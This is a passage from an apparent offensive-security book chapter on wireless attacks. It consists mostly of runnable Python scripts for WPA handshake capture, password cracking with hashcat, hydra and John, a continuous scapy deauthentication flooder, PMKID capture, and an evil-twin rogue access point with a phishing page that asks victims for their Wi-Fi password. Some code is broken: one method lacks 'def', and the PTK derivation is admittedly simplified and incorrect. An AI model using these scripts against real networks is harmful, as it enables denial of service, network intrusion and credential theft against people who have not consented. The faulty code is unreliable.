        print(f"[*] Running: {' '.join(cmd)}")
        
        try:
            result = subprocess.run(cmd, capture_output=True, text=True)
            
            # Show cracked passwords
            show = subprocess.run(['hashcat', '--show', hash_file], capture_output=True, text=True)
            print(show.stdout)
            
            return show.stdout
        except Exception as e:
            print(f"Error: {e}")
            return None
    
    def run_hydra(self, target, service, username_list, password_list, port=None):
        """Run Hydra for online attacks"""
        
        cmd = ['hydra']
        
        if port:
            cmd.extend(['-s', str(port)])
            
        cmd.extend(['-L', username_list])
        cmd.extend(['-P', password_list])
        
        if service == 'http-post-form':
            # Complex format for HTTP forms
            cmd.extend(['-f', target, 'http-post-form'])
        else:
            cmd.extend([target, service])
            
        print(f"[*] Running: {' '.join(cmd)}")
        
        try:
            result = subprocess.run(cmd, capture_output=True, text=True)
            print(result.stdout)
            return result.stdout
        except Exception as e:
            print(f"Error: {e}")
            return None
    
    def create_hash_file(self, hashes, filename):
        """Create hash file for John/Hashcat"""
        
        with open(filename, 'w') as f:
            for hash_string in hashes:
                f.write(hash_string + '\n')
                
        print(f"[+] Hash file created: {filename}")
        return filename
    
    def generate_rule_based_wordlist(self, base_wordlist, rules, output_file):
        """Generate rule-based wordlist using John rules"""
        
        # This would use John's rules engine
        # For now, simple Python implementation
        
        with open(base_wordlist, 'r') as f:
            words = f.readlines()
            
        with open(output_file, 'w') as f:
            for word in words:
                word = word.strip()
                f.write(word + '\n')
                
                # Apply rules
                if 'capitalize' in rules:
                    f.write(word.capitalize() + '\n')
                if 'uppercase' in rules:
                    f.write(word.upper() + '\n')
                if 'leet' in rules:
                    leet = word.replace('a', '@').replace('e', '3').replace('i', '1').replace('o', '0')
                    f.write(leet + '\n')
                    
        print(f"[+] Wordlist generated: {output_file}")
        return output_file

# Example usage
tools = PasswordTools()
available = tools.check_tools()

# Create hash file
hashes = ['5f4dcc3b5aa765d61d8327deb882cf99']  # MD5 of "password"
hash_file = tools.create_hash_file(hashes, 'hashes.txt')

# Run John
if 'john' in available:
    tools.run_john(hash_file, format='raw-md5', wordlist='/usr/share/wordlists/rockyou.txt')

PART VII — WIRELESS & NETWORK ATTACKS

Chapter 18 — Wireless Security

Wireless networks present unique security challenges due to their broadcast nature. Understanding wireless protocols, encryption mechanisms, and attack techniques is essential for comprehensive security assessments.

18.1 802.11 Protocols

The 802.11 family of standards governs wireless local area networks (WLANs). Understanding these protocols is fundamental to wireless security testing.

18.1.1 802.11 Frame Types and Structure

#!/usr/bin/env python3
# wifi_frames.py

class WiFiFrameAnalyzer:
    def __init__(self):
        self.frame_types = {
            0: 'Management Frame',
            1: 'Control Frame',
            2: 'Data Frame'
        }
        
        self.management_subtypes = {
            0: 'Association Request',
            1: 'Association Response',
            2: 'Reassociation Request',
            3: 'Reassociation Response',
            4: 'Probe Request',
            5: 'Probe Response',
            8: 'Beacon',
            9: 'ATIM',
            10: 'Disassociation',
            11: 'Authentication',
            12: 'Deauthentication'
        }
        
        self.control_subtypes = {
            8: 'Block Ack Request',
            9: 'Block Ack',
            10: 'PS-Poll',
            11: 'RTS',
            12: 'CTS',
            13: 'ACK',
            14: 'CF-End',
            15: 'CF-End + CF-Ack'
        }
        
    def explain_frame_structure(self):
        """Explain 802.11 frame structure"""
        
        print("[+] 802.11 Frame Structure:")
        print("    +---------------+---------------+---------------+")
        print("    | Frame Control | Duration/ID   | Address 1     |")
        print("    | (2 bytes)     | (2 bytes)     | (6 bytes)     |")
        print("    +---------------+---------------+---------------+")
        print("    | Address 2     | Address 3     | Sequence Ctrl |")
        print("    | (6 bytes)     | (6 bytes)     | (2 bytes)     |")
        print("    +---------------+---------------+---------------+")
        print("    | Address 4     | Frame Body    | FCS           |")
        print("    | (6 bytes)     | (0-2312 bytes)| (4 bytes)     |")
        print("    +---------------+---------------+---------------+")
        
    def decode_frame_control(self, fc_byte):
        """Decode frame control field"""
        
        # Extract fields from frame control
        protocol_version = fc_byte & 0x03
        frame_type = (fc_byte >> 2) & 0x03
        frame_subtype = (fc_byte >> 4) & 0x0F
        to_ds = (fc_byte >> 8) & 0x01
        from_ds = (fc_byte >> 9) & 0x01
        more_frag = (fc_byte >> 10) & 0x01
        retry = (fc_byte >> 11) & 0x01
        pwr_mgmt = (fc_byte >> 12) & 0x01
        more_data = (fc_byte >> 13) & 0x01
        protected = (fc_byte >> 14) & 0x01
        order = (fc_byte >> 15) & 0x01
        
        decoded = {
            'protocol_version': protocol_version,
            'frame_type': self.frame_types.get(frame_type, 'Unknown'),
            'frame_subtype': self.get_subtype_name(frame_type, frame_subtype),
            'to_ds': to_ds,
            'from_ds': from_ds,
            'more_fragments': more_frag,
            'retry': retry,
            'power_management': pwr_mgmt,
            'more_data': more_data,
            'protected_frame': protected,
            'order': order
        }
        
        return decoded
    
    def get_subtype_name(self, frame_type, subtype):
        """Get frame subtype name"""
        
        if frame_type == 0:  # Management
            return self.management_subtypes.get(subtype, 'Unknown')
        elif frame_type == 1:  # Control
            return self.control_subtypes.get(subtype, 'Unknown')
        elif frame_type == 2:  # Data
            return 'Data'
        else:
            return 'Unknown'
    
    def explain_beacon_frame(self):
        """Explain beacon frame contents"""
        
        print("\n[+] Beacon Frame Information Elements:")
        print("    • SSID: Network name")
        print("    • Supported Rates: Data rates supported")
        print("    • DS Parameter Set: Channel information")
        print("    • TIM: Traffic Indication Map")
        print("    • RSN: Robust Security Network (WPA2/WPA3)")
        print("    • ERP: Extended Rate PHY")
        print("    • HT Capabilities: 802.11n features")
        print("    • VHT Capabilities: 802.11ac features")
        print("    • HE Capabilities: 802.11ax (WiFi 6) features")

# Example usage
analyzer = WiFiFrameAnalyzer()
analyzer.explain_frame_structure()
analyzer.explain_beacon_frame()

18.1.2 Wireless Modes and Operations

#!/usr/bin/env python3
# wifi_modes.py

import subprocess
import re

class WirelessModes:
    def __init__(self):
        self.modes = {
            'managed': 'Client mode (station)',
            'master': 'Access Point mode',
            'monitor': 'Monitoring mode (packet capture)',
            'ad-hoc': 'Peer-to-peer mode',
            'mesh': 'Mesh network node',
            'repeater': 'Signal repeater'
        }
        
    def check_wireless_interfaces(self):
        """Check available wireless interfaces"""
        
        try:
            result = subprocess.run(['iwconfig'], capture_output=True, text=True)
            interfaces = []
            
            for line in result.stdout.split('\n'):
                if 'IEEE 802.11' in line:
                    interface = line.split()[0]
                    interfaces.append(interface)
                    
            return interfaces
        except:
            return []
    
    def set_monitor_mode(self, interface):
        """Set wireless interface to monitor mode"""
        
        print(f"[*] Setting {interface} to monitor mode...")
        
        commands = [
            ['sudo', 'ip', 'link', 'set', interface, 'down'],
            ['sudo', 'iwconfig', interface, 'mode', 'monitor'],
            ['sudo', 'ip', 'link', 'set', interface, 'up']
        ]
        
        for cmd in commands:
            try:
                subprocess.run(cmd, check=True)
            except:
                pass
                
        # Verify mode
        result = subprocess.run(['iwconfig', interface], capture_output=True, text=True)
        if 'Mode:Monitor' in result.stdout:
            print(f"[+] {interface} is now in monitor mode")
            return True
        else:
            print(f"[-] Failed to set monitor mode")
            return False
    
    def set_managed_mode(self, interface):
        """Set wireless interface back to managed mode"""
        
        print(f"[*] Setting {interface} to managed mode...")
        
        commands = [
            ['sudo', 'ip', 'link', 'set', interface, 'down'],
            ['sudo', 'iwconfig', interface, 'mode', 'managed'],
            ['sudo', 'ip', 'link', 'set', interface, 'up']
        ]
        
        for cmd in commands:
            try:
                subprocess.run(cmd, check=True)
            except:
                pass
                
        # Verify mode
        result = subprocess.run(['iwconfig', interface], capture_output=True, text=True)
        if 'Mode:Managed' in result.stdout:
            print(f"[+] {interface} is now in managed mode")
            return True
        else:
            print(f"[-] Failed to set managed mode")
            return False
    
    def check_monitor_support(self, interface):
        """Check if interface supports monitor mode"""
        
        try:
            result = subprocess.run(['iw', 'list'], capture_output=True, text=True)
            
            if 'Supported interface modes:' in result.stdout:
                if '* monitor' in result.stdout:
                    print(f"[+] {interface} supports monitor mode")
                    return True
                    
        except:
            pass
            
        print(f"[-] {interface} may not support monitor mode")
        return False
    
    def get_channel_info(self, interface):
        """Get current channel information"""
        
        try:
            result = subprocess.run(['iwconfig', interface], capture_output=True, text=True)
            
            # Extract channel
            channel_match = re.search(r'Channel[=:](\d+)', result.stdout)
            channel = channel_match.group(1) if channel_match else 'Unknown'
            
            # Extract frequency
            freq_match = re.search(r'Frequency[=:][^\s]+', result.stdout)
            freq = freq_match.group(0) if freq_match else 'Unknown'
            
            return {'channel': channel, 'frequency': freq}
        except:
            return {'channel': 'Unknown', 'frequency': 'Unknown'}
    
    def scan_networks(self, interface):
        """Scan for wireless networks"""
        
        print(f"[*] Scanning for networks on {interface}...")
        
        try:
            # Set monitor mode for better scanning
            self.set_monitor_mode(interface)
            
            # Scan
            result = subprocess.run(['iwlist', interface, 'scan'], 
                                  capture_output=True, text=True)
            
            networks = []
            current_network = {}
            
            for line in result.stdout.split('\n'):
                if 'Cell ' in line:
                    if current_network:
                        networks.append(current_network)
                    current_network = {}
                    
                if 'ESSID:' in line:
                    current_network['ssid'] = line.split('ESSID:"')[1].split('"')[0]
                elif 'Channel:' in line:
                    current_network['channel'] = line.split('Channel:')[1].strip()
                elif 'Encryption key:' in line:
                    current_network['encrypted'] = 'on' in line
                elif 'Quality=' in line:
                    quality_match = re.search(r'Quality=(\d+/\d+)', line)
                    if quality_match:
                        current_network['quality'] = quality_match.group(1)
                    signal_match = re.search(r'Signal level=(-?\d+)', line)
                    if signal_match:
                        current_network['signal'] = signal_match.group(1) + ' dBm'
                        
            if current_network:
                networks.append(current_network)
                
            # Set back to managed mode
            self.set_managed_mode(interface)
            
            return networks
            
        except Exception as e:
            print(f"Error scanning: {e}")
            return []

# Example usage
wifi = WirelessModes()

# Check interfaces
interfaces = wifi.check_wireless_interfaces()
print(f"[+] Wireless interfaces: {interfaces}")

if interfaces:
    iface = interfaces[0]
    
    # Check monitor support
    wifi.check_monitor_support(iface)
    
    # Get channel info
    channel_info = wifi.get_channel_info(iface)
    print(f"[+] Current channel: {channel_info}")
    
    # Scan networks
    # networks = wifi.scan_networks(iface)
    # for net in networks:
    #     print(f"  {net.get('ssid', 'Hidden')} - Ch{net.get('channel')} - {net.get('signal')}")

18.2 WPA2/WPA3

Wi-Fi Protected Access (WPA) protocols secure wireless communications. Understanding their strengths and weaknesses is crucial for security testing.

18.2.1 WPA2 Four-Way Handshake

#!/usr/bin/env python3
# wpa_handshake.py

import hashlib
import hmac
import binascii

class WPAHandshake:
    def __init__(self):
        self.versions = {
            'WPA': 'Temporal Key Integrity Protocol (TKIP)',
            'WPA2': 'CCMP (AES)',
            'WPA3': 'Simultaneous Authentication of Equals (SAE)'
        }
        
    def explain_four_way_handshake(self):
        """Explain WPA2 four-way handshake"""
        
        print("[+] WPA2 Four-Way Handshake:")
        print("    STA (Client)                           AP (Access Point)")
        print("         |                                      |")
        print("         |----------- Message 1 --------------->|")
        print("         |   (ANonce)                           |")
        print("         |                                      |")
        print("         |<---------- Message 2 ----------------|")
        print("         |   (SNonce, MIC)                      |")
        print("         |                                      |")
        print("         |----------- Message 3 --------------->|")
        print("         |   (GTK, MIC)                         |")
        print("         |                                      |")
        print("         |<---------- Message 4 ----------------|")
        print("         |   (ACK)                              |")
        print("         |                                      |")
        
    def calculate_pmk(self, password, ssid):
        """Calculate Pairwise Master Key (PMK)"""
        
        # PMK = PBKDF2(password, ssid, 4096, 256)
        pmk = hashlib.pbkdf2_hmac('sha1', 
                                  password.encode('utf-8'),
                                  ssid.encode('utf-8'),
                                  4096, 32)
        return pmk
    
    def calculate_ptk(self, pmk, ap_mac, client_mac, anonce, snonce):
        """Calculate Pairwise Transient Key (PTK)"""
        
        # PTK = PRF-512(PMK, "Pairwise key expansion", Min(AP_MAC, STA_MAC) || Max(AP_MAC, STA_MAC) || Min(ANonce, SNonce) || Max(ANonce, SNonce))
        
        # Sort MAC addresses
        mac1 = min(ap_mac, client_mac)
        mac2 = max(ap_mac, client_mac)
        
        # Sort nonces
        nonce1 = min(anonce, snonce)
        nonce2 = max(anonce, snonce)
        
        # Construct data
        data = b"Pairwise key expansion"
        data += binascii.unhexlify(mac1.replace(':', ''))
        data += binascii.unhexlify(mac2.replace(':', ''))
        data += binascii.unhexlify(nonce1)
        data += binascii.unhexlify(nonce2)
        
        # PRF function (simplified)
        ptk = hashlib.sha1(pmk + data).digest()[:64]
        return ptk
    
    def calculate_mic(self, ptk, data):
        """Calculate Message Integrity Code (MIC)"""
        
        # MIC is computed using HMAC-SHA1 or HMAC-MD5
        mic = hmac.new(ptk[:16], data, hashlib.sha1).digest()
        return mic
    
    def crack_handshake(self, handshake_file, wordlist):
        """Simulate handshake cracking"""
        
        print(f"[*] Attempting to crack handshake: {handshake_file}")
        print(f"[*] Using wordlist: {wordlist}")
        
        # In practice, this would parse the handshake and try passwords
        # For demonstration, we'll just simulate
        print("    This would use tools like aircrack-ng or hashcat")
        
        # Example using aircrack-ng
        cmd = f"aircrack-ng -w {wordlist} {handshake_file}"
        print(f"    Command: {cmd}")
        
        return None

# Example usage
wpa = WPAHandshake()
wpa.explain_four_way_handshake()

# Calculate PMK example
pmk = wpa.calculate_pmk("password", "TestNetwork")
print(f"\n[+] PMK: {binascii.hexlify(pmk).decode()[:32]}...")

18.2.2 WPA3 and SAE

#!/usr/bin/env python3
# wpa3_sae.py

class WPA3SAE:
    def __init__(self):
        self.sae_features = {
            'dragonfly_handshake': 'Simultaneous Authentication of Equals',
            'forward_secrecy': 'Compromised keys don't affect past sessions',
            'mgmt_frame_protection': 'Protected management frames (PMF) required',
            'anti_clogging': 'Protection against denial of service',
            'password_salt': 'Password salting for dictionary attack resistance'
        }
        
    def explain_sae_handshake(self):
        """Explain WPA3 SAE handshake"""
        
        print("[+] WPA3 SAE (Simultaneous Authentication of Equals) Handshake:")
        print("    STA (Client)                           AP (Access Point)")
        print("         |                                      |")
        print("         |------ Commit (scalar, element) ----->|")
        print("         |   (Commitment to password)           |")
        print("         |                                      |")
        print("         |<----- Commit (scalar, element) ------|")
        print("         |   (Commitment to password)           |")
        print("         |                                      |")
        print("         |      (Both derive PMK)               |")
        print("         |                                      |")
        print("         |------ Confirm (MIC) ---------------->|")
        print("         |   (Proof of PMK)                     |")
        print("         |                                      |")
        print("         |<----- Confirm (MIC) -----------------|")
        print("         |   (Proof of PMK)                     |")
        print("         |                                      |")
        
    def compare_security(self):
        """Compare WPA2 and WPA3 security features"""
        
        comparison = {
            'feature': ['Encryption', 'Authentication', 'Key Exchange', 'Forward Secrecy', 'Dictionary Attack Resistance', 'Management Frame Protection'],
            'WPA2': ['CCMP (AES)', 'PSK/802.1X', '4-Way Handshake', 'No', 'Weak', 'Optional'],
            'WPA3': ['GCMP-256 (AES)', 'SAE/802.1X', 'Dragonfly Handshake', 'Yes', 'Strong', 'Mandatory']
        }
        
        print("\n[+] WPA2 vs WPA3 Comparison:")
        for i in range(len(comparison['feature'])):
            print(f"    {comparison['feature'][i]:<30} {comparison['WPA2'][i]:<20} {comparison['WPA3'][i]:<20}")
            
    def dragonfly_math(self):
        """Explain the mathematics behind Dragonfly key exchange"""
        
        print("\n[+] Dragonfly Key Exchange (Simplified):")
        print("    1. Both parties know password P")
        print("    2. Generate secret values: r1, r2")
        print("    3. Compute scalars: s1 = (r1 + H(P)) mod q")
        print("    4. Compute elements: E1 = -r2 * P")
        print("    5. Exchange (s1, E1) and (s2, E2)")
        print("    6. Compute shared secret: K = r1*(s2*Q - r2*P)")
        print("    7. Derive PMK from K")

# Example usage
wpa3 = WPA3SAE()
wpa3.explain_sae_handshake()
wpa3.compare_security()

18.3 Capturing Handshakes

Capturing the 4-way handshake is essential for offline password cracking.

18.3.1 Handshake Capture Tools and Techniques

#!/usr/bin/env python3
# handshake_capture.py

import subprocess
import time
import os
import re

class HandshakeCapture:
    def __init__(self, interface):
        self.interface = interface
        self.capture_file = None
        
    def setup_monitor_mode(self):
        """Set interface to monitor mode"""
        
        commands = [
            ['sudo', 'airmon-ng', 'check', 'kill'],
            ['sudo', 'airmon-ng', 'start', self.interface]
        ]
        
        for cmd in commands:
            try:
                subprocess.run(cmd, check=True)
                time.sleep(1)
            except:
                pass
                
        # Get monitor interface name
        result = subprocess.run(['iwconfig'], capture_output=True, text=True)
        for line in result.stdout.split('\n'):
            if 'Mode:Monitor' in line:
                self.monitor_iface = line.split()[0]
                print(f"[+] Monitor mode on {self.monitor_iface}")
                return self.monitor_iface
                
        return None
    
    def scan_networks(self):
        """Scan for target networks"""
        
        print("[*] Scanning for networks...")
        
        try:
            # Start airodump to scan
            scan_proc = subprocess.Popen(
                ['sudo', 'airodump-ng', self.monitor_iface],
                stdout=subprocess.PIPE,
                stderr=subprocess.PIPE,
                text=True
            )
            
            time.sleep(10)  # Scan for 10 seconds
            scan_proc.terminate()
            
            # Parse output
            networks = []
            # In practice, would parse the output
            # For demo, we'll return a placeholder
            
            return networks
            
        except Exception as e:
            print(f"Error scanning: {e}")
            return []
    
    def capture_handshake(self, bssid, channel, output_file):
        """Capture 4-way handshake for target AP"""
        
        print(f"[*] Capturing handshake for {bssid} on channel {channel}")
        
        # Set channel
        subprocess.run(['sudo', 'iwconfig', self.monitor_iface, 'channel', channel])
        
        # Start airodump to capture handshake
        self.capture_file = output_file
        
        capture_cmd = [
            'sudo', 'airodump-ng',
            '-c', channel,
            '--bssid', bssid,
            '-w', output_file,
            self.monitor_iface
        ]
        
        print(f"[*] Starting capture: {' '.join(capture_cmd)}")
        
        # Start capture in background
        self.capture_proc = subprocess.Popen(
            capture_cmd,
            stdout=subprocess.DEVNULL,
            stderr=subprocess.DEVNULL
        )
        
        return True
    
    def deauth_attack(self, bssid, client=None, count=5):
        """Send deauthentication packets to force reconnection"""
        
        print(f"[*] Sending deauth to {bssid}" + (f" for client {client}" if client else ""))
        
        deauth_cmd = [
            'sudo', 'aireplay-ng',
            '-0', str(count),  # Deauth count
            '-a', bssid        # AP MAC
        ]
        
        if client:
            deauth_cmd.extend(['-c', client])
            
        deauth_cmd.append(self.monitor_iface)
        
        try:
            subprocess.run(deauth_cmd, check=True, timeout=10)
            return True
        except:
            return False
    
    def check_handshake(self, capture_file):
        """Check if handshake was captured"""
        
        try:
            # Use aircrack-ng to check for handshake
            result = subprocess.run(
                ['aircrack-ng', capture_file + '-01.cap'],
                capture_output=True,
                text=True
            )
            
            if '1 handshake' in result.stdout:
                print(f"[+] Handshake captured in {capture_file}")
                return True
            else:
                print("[-] No handshake captured yet")
                return False
        except:
            return False
    
    def stop_capture(self):
        """Stop capture process"""
        if hasattr(self, 'capture_proc'):
            self.capture_proc.terminate()
            print("[*] Capture stopped")
            
    def cleanup(self):
        """Clean up monitor mode"""
        
        commands = [
            ['sudo', 'airmon-ng', 'stop', self.monitor_iface],
            ['sudo', 'service', 'network-manager', 'restart']
        ]
        
        for cmd in commands:
            try:
                subprocess.run(cmd)
            except:
                pass

# Example usage
capture = HandshakeCapture('wlan0')

# Setup monitor mode
mon_iface = capture.setup_monitor_mode()

if mon_iface:
    # Target AP details
    bssid = "AA:BB:CC:DD:EE:FF"
    channel = "6"
    output = "handshake"
    
    # Start capture
    capture.capture_handshake(bssid, channel, output)
    
    # Send deauth to force handshake
    time.sleep(5)
    capture.deauth_attack(bssid, count=3)
    
    # Check for handshake
    time.sleep(10)
    capture.check_handshake(output)
    
    # Clean up
    capture.stop_capture()
    capture.cleanup()

18.3.2 PMKID Capture

#!/usr/bin/env python3
# pmkid_capture.py

class PMKIDCapture:
    def __init__(self):
        self.pmkid_info = {
            'what': 'PMKID is a hash of the PMK, AP MAC, and STA MAC',
            'why': 'Can be captured without a full 4-way handshake',
            'when': 'Sent by some APs in the first EAPOL frame',
            'advantage': 'No need to capture full handshake or deauth clients'
        }
        
    def explain_pmkid(self):
        """Explain PMKID attack"""
        
        print("[+] PMKID Attack:")
        print("    PMKID = HMAC-SHA1(PMK, (\"PMK Name\" | AP MAC | STA MAC))")
        print("\n    Advantages over traditional handshake capture:")
        print("    • No client required - can target AP directly")
        print("    • No deauth packets needed - more stealthy")
        print("    • Works on WPA3 transition mode")
        
    def capture_pmkid(self, interface, bssid):
        """Capture PMKID using hcxdumptool"""
        
        print(f"[*] Attempting to capture PMKID from {bssid}")
        
        # Command using hcxdumptool
        cmd = [
            'sudo', 'hcxdumptool',
            '-i', interface,
            '--filterlist_ap=-',  # Filter by AP
            '--filtermode=2',       # Include only specified APs
            '-o', 'pmkid_capture.pcapng',
            '--enable_status=1'
        ]
        
        print(f"    Command: {' '.join(cmd)}")
        print("    This would capture PMKID from the target AP")
        
    convert_to_hashcat(self, pcap_file, output_file):
        """Convert capture to hashcat format"""
        
        cmd = ['hcxpcapngtool', '-o', output_file, pcap_file]
        print(f"    Convert to hashcat format: {' '.join(cmd)}")

# Example usage
pmkid = PMKIDCapture()
pmkid.explain_pmkid()

18.4 Evil Twin Attacks

Evil twin attacks involve setting up a rogue access point that mimics a legitimate one.

18.4.1 Rogue AP Setup

#!/usr/bin/env python3
# evil_twin.py

import subprocess
import time
import os

class EvilTwin:
    def __init__(self, interface):
        self.interface = interface
        self.ap_interface = None
        
    def setup_ap(self, ssid, channel, bssid=None):
        """Setup rogue access point"""
        
        print(f"[*] Setting up evil twin: {ssid} on channel {channel}")
        
        # Create hostapd configuration
        hostapd_conf = f"""
interface={self.interface}
driver=nl80211
ssid={ssid}
channel={channel}
hw_mode=g
{'bssid=' + bssid if bssid else ''}
wpa=2
wpa_passphrase=evilpassword123
wpa_key_mgmt=WPA-PSK
rsn_pairwise=CCMP
"""
        
        with open('/tmp/hostapd.conf', 'w') as f:
            f.write(hostapd_conf)
            
        # Create dnsmasq configuration for DHCP
        dnsmasq_conf = """
interface={self.interface}
dhcp-range=192.168.1.10,192.168.1.100,12h
dhcp-option=3,192.168.1.1
dhcp-option=6,192.168.1.1
server=8.8.8.8
log-queries
log-dhcp
"""
        
        with open('/tmp/dnsmasq.conf', 'w') as f:
            f.write(dnsmasq_conf.format(self=self))
            
        # Set IP address
        subprocess.run(['sudo', 'ifconfig', self.interface, '192.168.1.1', 'netmask', '255.255.255.0', 'up'])
        
        return True
    
    def start_ap(self):
        """Start the rogue AP"""
        
        print("[*] Starting rogue AP...")
        
        # Start hostapd
        self.hostapd_proc = subprocess.Popen(
            ['sudo', 'hostapd', '/tmp/hostapd.conf'],
            stdout=subprocess.PIPE,
            stderr=subprocess.PIPE
        )
        
        # Start dnsmasq
        self.dnsmasq_proc = subprocess.Popen(
            ['sudo', 'dnsmasq', '-C', '/tmp/dnsmasq.conf', '-d'],
            stdout=subprocess.PIPE,
            stderr=subprocess.PIPE
        )
        
        time.sleep(2)
        print("[+] Evil twin AP is running")
        
    def setup_deauth(self, target_interface, target_bssid):
        """Setup deauth attack against legitimate AP"""
        
        print(f"[*] Starting deauth attack against {target_bssid}")
        
        self.deauth_proc = subprocess.Popen(
            ['sudo', 'aireplay-ng', '-0', '0', '-a', target_bssid, target_interface],
            stdout=subprocess.DEVNULL,
            stderr=subprocess.DEVNULL
        )
        
    def setup_credential_capture(self):
        """Capture credentials from victims"""
        
        # Setup a simple web server to capture credentials
        phishing_page = """
<!DOCTYPE html>
<html>
<head>
    <title>Wi-Fi Login</title>
</head>
<body>
    <h1>Wi-Fi Network Update</h1>
    <p>Please enter your network password to continue using the Wi-Fi:</p>
    <form method="POST" action="/login">
        Password: <input type="password" name="password">
        <input type="submit" value="Connect">
    </form>
</body>
</html>
"""
        
        with open('/tmp/index.html', 'w') as f:
            f.write(phishing_page)
            
        # Start a simple HTTP server to serve the page and capture credentials
        # In practice, you'd use a more sophisticated server with credential logging
        
    def stop(self):
        """Stop all processes"""
        
        for proc in ['hostapd_proc', 'dnsmasq_proc', 'deauth_proc']:
            if hasattr(self, proc):
                getattr(self, proc).terminate()
                
        # Clean up
        subprocess.run(['sudo', 'pkill', 'hostapd'])
        subprocess.run(['sudo', 'pkill', 'dnsmasq'])
        
        print("[*] Evil twin stopped")

# Example usage
evil = EvilTwin('wlan1')

# Setup evil twin
evil.setup_ap('FreeWiFi', '6')
evil.start_ap()

# Deauth legitimate AP
# evil.setup_deauth('wlan0', 'AA:BB:CC:DD:EE:FF')

# Run for a while
try:
    time.sleep(300)
except KeyboardInterrupt:
    pass

# Clean up
evil.stop()

18.5 Deauthentication Attacks

Deauthentication attacks disconnect clients from APs, forcing reconnection and handshake capture.

18.5.1 Deauth Attack Implementation

#!/usr/bin/env python3
# deauth_attack.py

from scapy.all import *
import time
import sys

class DeauthAttack:
    def __init__(self, interface):
        self.interface = interface
        
    def create_deauth_packet(self, ap_mac, client_mac=None):
        """Create deauthentication packet"""
        
        # RadioTap header
        radiotap = RadioTap()
        
        # Dot11 header
        if client_mac:
            # Directed deauth to specific client
            dot11 = Dot11(
                addr1=client_mac,  # Destination (client)
                addr2=ap_mac,      # Source (AP)
                addr3=ap_mac,      # BSSID
                type=0,
                subtype=12
            )
        else:
            # Broadcast deauth
            dot11 = Dot11(
                addr1='ff:ff:ff:ff:ff:ff',  # Broadcast
                addr2=ap_mac,
                addr3=ap_mac,
                type=0,
                subtype=12
            )
            
        # Deauth reason (7 - Class 3 frame received from nonassociated STA)
        deauth = Dot11Deauth(reason=7)
        
        packet = radiotap / dot11 / deauth
        return packet
    
    def send_deauth(self, ap_mac, client_mac=None, count=10, interval=0.1):
        """Send deauthentication packets"""
        
        print(f"[*] Sending deauth to {ap_mac}" + 
              (f" for client {client_mac}" if client_mac else " (broadcast)"))
        
        packet = self.create_deauth_packet(ap_mac, client_mac)
        
        sent = 0
        for i in range(count):
            sendp(packet, iface=self.interface, verbose=False)
            sent += 1
            if sent % 10 == 0:
                print(f"  Sent {sent} packets")
            time.sleep(interval)
            
        print(f"[+] Sent {sent} deauth packets")
        return sent
    
    def continuous_deauth(self, ap_mac, client_mac=None):
        """Send continuous deauth attack"""
        
        print(f"[*] Starting continuous deauth (Press Ctrl+C to stop)")
        
        packet = self.create_deauth_packet(ap_mac, client_mac)
        sent = 0
        
        try:
            while True:
                sendp(packet, iface=self.interface, verbose=False)
                sent += 1
                if sent % 100 == 0:
                    print(f"  Sent {sent} packets")
                time.sleep(0.05)  # 20 packets per second
        except KeyboardInterrupt:
            print(f"\n[+] Stopped. Sent {sent} packets")
            
    def detect_clients(self, ap_mac, timeout=30):
        """Detect clients connected to AP"""
        
        print(f"[*] Sniffing for clients connected to {ap_mac}...")
        
        clients = set()
        
        def packet_handler(pkt):
            if pkt.haslayer(Dot11):
                # Check for data frames from client to AP
                if pkt.addr2 and pkt.addr1 == ap_mac:
                    if pkt.addr2 not in clients:
                        clients.add(pkt.addr2)
                        print(f"  Found client: {pkt.addr2}")
                        
        # Sniff for packets
        sniff(iface=self.interface, prn=packet_handler, timeout=timeout)
        
        return list(clients)
    
    def targeted_deauth_all(self, ap_mac, clients):
        """Send deauth to all discovered clients"""
        
        print(f"[*] Deauthenticating {len(clients)} clients...")
        
        for client in clients:
            self.send_deauth(ap_mac, client, count=5, interval=0.05)
            time.sleep(0.1)

# Example usage
if __name__ == "__main__":
    if len(sys.argv) < 3:
        print("Usage: deauth_attack.py <interface> <ap_mac> [client_mac]")
        sys.exit(1)
        
    interface = sys.argv[1]
    ap_mac = sys.argv[2]
    client_mac = sys.argv[3] if len(sys.argv) > 3 else None
    
    # Set interface to monitor mode
    # This should be done before running the script
    
    deauth = DeauthAttack(interface)
    
    if client_mac:
        # Single client deauth
        deauth.send_deauth(ap_mac, client_mac, count=50)
    else:
        # Detect clients and deauth all
        clients = deauth.detect_clients(ap_mac, timeout=20)
        if clients:
            deauth.targeted_deauth_all(ap_mac, clients)
        else:
            # Broadcast deauth if no clients found
            deauth.send_deauth(ap_mac, count=100)

18.5.2 Aircrack-ng Suite

#!/usr/bin/env python3
# aircrack_ng_suite.py

import subprocess
import os
import time

class AircrackSuite:
    def __init__(self):
        self.tools = {
            'airmon-ng': 'Wireless interface management',
            'airodump-ng': 'Packet capture',
            'aireplay-ng': 'Packet injection',
            'aircrack-ng': 'WEP/WPA key cracking',
            'airdecap-ng': 'Decrypt captured packets',
            'packetforge-ng': 'Create forged packets',
            'ivstools': 'Merge and convert capture files'
        }
        
    def check_airmon(self):
        """Check airmon-ng status"""
        
        print("[*] Checking airmon-ng status...")
        
        try:
            result = subprocess.run(['sudo', 'airmon-ng'], capture_output=True, text=True)
            print(result.stdout)
            
            # Check for interfering processes
            check = subprocess.run(['sudo', 'airmon-ng', 'check'], capture_output=True, text=True)
            if 'Processes that may cause trouble' in check.stdout:
                print("[!] Interfering processes found:")
                print(check.stdout)
                
        except Exception as e:
            print(f"Error: {e}")
            
    def start_monitor(self, interface):
        """Start monitor mode on interface"""
        
        cmd = ['sudo', 'airmon-ng', 'start', interface]
        
        try:
            result = subprocess.run(cmd, capture_output=True, text=True)
            print(result.stdout)
            
            # Get monitor interface name
            for line in result.stdout.split('\n'):
                if '(monitor mode enabled)' in line:
                    mon_iface = line.split()[1].strip(')')
                    print(f"[+] Monitor mode enabled on {mon_iface}")
                    return mon_iface
        except Exception as e:
            print(f"Error: {e}")
            
        return None
    
    def stop_monitor(self, mon_iface):
        """Stop monitor mode"""
        
        cmd = ['sudo', 'airmon-ng', 'stop', mon_iface]
        
        try:
            result = subprocess.run(cmd, capture_output=True, text=True)
            print(f"[+] Monitor mode stopped on {mon_iface}")
        except Exception as e:
            print(f"Error: {e}")
            
    def run_airodump(self, interface, channel=None, bssid=None, output=None):
        """Run airodump-ng for packet capture"""
        
        cmd = ['sudo', 'airodump-ng', interface]
        
        if channel:
            cmd.extend(['-c', channel])
        if bssid:
            cmd.extend(['--bssid', bssid])
        if output:
            cmd.extend(['-w', output])
            
        print(f"[*] Running: {' '.join(cmd)}")
        
        # This runs interactively, so we'll just print the command
        return cmd
    
